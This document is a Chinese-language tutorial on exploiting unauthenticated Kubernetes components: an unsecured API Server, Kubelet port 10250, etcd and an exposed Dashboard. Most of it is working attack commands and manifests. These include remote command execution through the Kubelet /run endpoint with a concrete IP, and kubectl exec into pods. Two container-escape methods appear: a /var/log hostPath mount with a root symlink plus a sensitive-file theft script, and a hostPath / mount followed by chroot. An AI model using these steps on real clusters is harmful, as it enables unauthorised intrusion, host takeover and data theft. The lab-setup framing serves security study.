K8s下的未授权及利用
字数 1362 2025-08-18 11:37:11
Kubernetes未授权访问漏洞及利用详解
一、Kubernetes未授权访问概述
Kubernetes (K8s) 环境中存在多种未授权访问风险,主要包括以下几种:
- API Server (默认端口8080/6443)
- Kubelet (默认端口10250)
- etcd (默认端口2379)
- Dashboard面板泄露
二、API Server未授权访问
1. 端口说明
- 8080端口:HTTP服务,默认无认证授权机制
- 6443端口:HTTPS服务,支持认证(令牌或客户端证书)和授权服务
默认情况下8080端口关闭,6443端口开启,配置位于/etc/kubernetes/manifests/kube-apiserver.yaml
2. 漏洞复现
8080端口未授权
- 编辑配置文件开启8080端口:
vim /etc/kubernetes/manifests/kube-apiserver.yaml
- 重启K8s:
systemctl restart kubectl
- 访问8080端口即可发现未授权
6443端口未授权
如果配置错误,将system:anonymous用户绑定到cluster-admin用户组:
kubectl create clusterrolebinding cluster-system-anonymous --clusterrole=cluster-admin --user=system:anonymous
3. 利用方式
使用kubectl命令执行操作:
# 查看集群信息
kubectl -s http://[IP]:8080 cluster-info
# 查看节点和pod信息
kubectl -s http://[IP]:8080 get nodes
kubectl -s http://[IP]:8080 get pods
# 查看详细信息
kubectl -s http://[IP]:8080 get nodes -o wide
kubectl -s http://[IP]:8080 get pods -o wide
# 进入pod执行命令
kubectl -s http://[IP]:8080 exec -n default -it [POD_NAME] -- /bin/bash
4. 容器逃逸技术
通过挂载/var/log目录逃逸的原理:
- 自定义服务账户:在Pod中指定自定义服务账户
- 授予宿主机目录权限:使用ClusterRole和ClusterRoleBinding授权
- 挂载宿主机目录:通过hostPath类型Volume挂载
- 访问宿主机日志文件:通过挂载路径访问宿主机文件
- 容器逃逸:实现从Pod到宿主机的逃逸
关键概念
- RBAC:基于角色的访问控制
- Role/RoleBinding:命名空间内权限
- ClusterRole/ClusterRoleBinding:集群范围权限
- 服务账户(ServiceAccount):Pod内部应用程序身份
- 卷挂载(Volume Mounting):将存储卷附加到Pod
实验环境搭建
git clone https://github.com/Metarget/metarget.git
cd metarget/
pip3 install -r requirements.txt
./metarget gadget install k8s --version 1.16.5
./metarget cnv install mount-var-log
手动创建Pod配置示例
apiVersion: v1
kind: ServiceAccount
metadata:
name: logger
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: user-log-reader
rules:
- apiGroups: [""]
resources: ["nodes/log"]
verbs: ["get", "list", "watch"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: user-log-reader
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: user-log-reader
subjects:
- kind: ServiceAccount
name: logger
namespace: default
---
apiVersion: v1
kind: Pod
metadata:
name: escaper
spec:
serviceAccountName: logger
containers:
- name: escaper
image: danielsagi/kube-pod-escape
volumeMounts:
- name: logs
mountPath: /var/log/host
volumes:
- name: logs
hostPath:
path: /var/log/
type: Directory
漏洞检测
find / -name lastlog 2>/dev/null | wc -l | grep -q 3 && echo "/var/log is mounted." || echo "/var/log is not mounted."
漏洞利用
- 进入容器:
kubectl get pods
kubectl exec --stdin --tty escaper -- /bin/bash
- 创建软链接:
cd /var/log/host
ln -s / ./root_link
- 使用脚本窃取敏感文件:
chmod 777 find_sensitive_files.py
python find_sensitive_files.py
5. 判断是否处于K8s环境
# 查看磁盘信息
df -h
# 查看环境变量
env
三、Kubelet 10250端口未授权
1. 漏洞说明
10250是Kubelet默认端口,管理节点上的容器和Pod。默认配置中--anonymous-auth为true时允许匿名访问。
2. 漏洞复现
修改/var/lib/kubelet/config.yaml配置错误后重启:
systemctl restart kubelet
3. 利用方式
curl -XPOST -k "https://${IP_ADDRESS}:10250/run/<namespace>/<pod>/<container>" -d "cmd=<command-to-run>"
参数获取方式:
- namespace
- pod
- container
示例:
curl -XPOST -k https://101.36.108.16:10250/run/kube-system/kube-scheduler-10-7-181-56/kube-scheduler -d "cmd=ls"
四、etcd 2379端口未授权
1. 漏洞说明
2379端口用于客户端与etcd通信,默认配置中本地127.0.0.1可免认证访问,其他地址需要认证。
2. 利用限制
默认配置2379只监听127.0.0.1,实战中较少遇到。
五、Dashboard面板泄露
1. 概念
K8s Dashboard是基于Web的UI管理界面,提供集群资源管理功能。
2. 安装部署
wget https://raw.githubusercontent.com/kubernetes/dashboard/v2.2.0/aio/deploy/recommended.yaml
kubectl apply -f recommended.yaml
3. 访问验证
kubectl get pod -n kubernetes-dashboard
kubectl get svc -n kubernetes-dashboard
4. 创建管理员角色
dashboard-svc-account.yaml内容:
apiVersion: v1
kind: ServiceAccount
metadata:
name: dashboard-admin
namespace: kube-system
---
kind: ClusterRoleBinding
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: dashboard-admin
subjects:
- kind: ServiceAccount
name: dashboard-admin
namespace: kube-system
roleRef:
kind: ClusterRole
name: cluster-admin
apiGroup: rbac.authorization.k8s.io
应用配置:
kubectl apply -f dashboard-svc-account.yaml
5. 获取token
kubectl get secrets -n kube-system | grep dashboard-admin
kubectl describe secret dashboard-admin-token-wtl4c -n kube-system
6. 通过Dashboard创建Pod并挂载宿主机根目录
apiVersion: v1
kind: Pod
metadata:
name: myapp
spec:
containers:
- image: nginx
name: container
volumeMounts:
- mountPath: /mnt
name: test-volume
volumes:
- name: test-volume
hostPath:
path: /
进入容器获取宿主机权限:
chroot /mnt
六、常见kubectl命令总结
kubectl get pods # 查询Pod
kubectl get pods -n namespace # 查询指定命名空间的Pod
kubectl get pods --all-namespaces # 查询所有命名空间的Pod
kubectl describe pod pod-name # 查询Pod详细信息
kubectl get serviceaccount # 查询服务账户详情
kubectl create serviceaccount account-name # 创建服务账户
kubectl config view # 打印kubeconfig配置内容
kubectl get rolebinding -n namespace # 查看rbac权限设置
kubectl describe role role-name -n namespace # 查看角色绑定规则
kubectl exec -it pod-name -c container-name -- /bin/bash # 进入容器
kubectl cp pod-name:container-path local-path # 从容器复制文件
kubectl get deployment # 查询Deployment信息
kubectl scale deployment deployment-name --replicas=3 # 扩缩容
kubectl rollout restart deployment deployment-name # 重启Deployment
kubectl apply -f file.yaml # 应用YAML配置